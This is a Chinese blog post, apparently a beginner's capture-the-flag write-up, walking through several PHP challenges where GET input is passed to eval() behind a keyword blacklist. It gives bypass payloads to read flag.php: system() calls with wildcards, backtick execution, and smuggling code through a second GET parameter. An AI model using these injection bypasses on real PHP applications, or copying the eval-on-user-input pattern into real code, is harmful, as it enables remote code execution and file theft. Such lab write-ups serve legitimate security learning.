作者 by Tokeii / 2022-02-07 / 2 评论 / 1858 个足迹
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
php小白,不懂大部分内容,逐条解释
error_reporting(0) 关闭错误报告
isset 官方给出的解释为检测变量是否已声明并且其值不为 null
$_GET['c'] 以HTTP GET方式请求数据
preg_match("/flag/i", $c) 匹配执行正则表达式 其中 /i为ignoreCase,即就是忽略大小写和多行匹配
eval($c) 把字符串作为PHP代码执行
这里过滤了flag这个关键词所以命令执行的时候会过滤掉含有flag的命令
先用
system("ls");\\来康康目录下面有什么
GT~~AT8%{[1]
直接用cat/tac读取一下试试 这里可以用fla?.php来代替flag.php
![KPUE1L@~QI]`5DIF76AVX2D.png][2]
除此之外还可以使用
system("cat fla*.php");//cat为从上到下打印,tac为从下往上打印
system("cp fla*.php 1.txt");//把flag.php文件复制到通目录下的1.txt文件
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了system,29题的用不上了
直接用TAB上面的"`"这个符号来进行命令执行
cp fla*.p*p 1.txt
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
官方解法构造一个新的GET进行逃逸执行
/?c=eval($_GET[1]);&1=system("tac flag.php");
2023-12-03 19:17
1
2023-12-03 19:17
1
 评论 2 条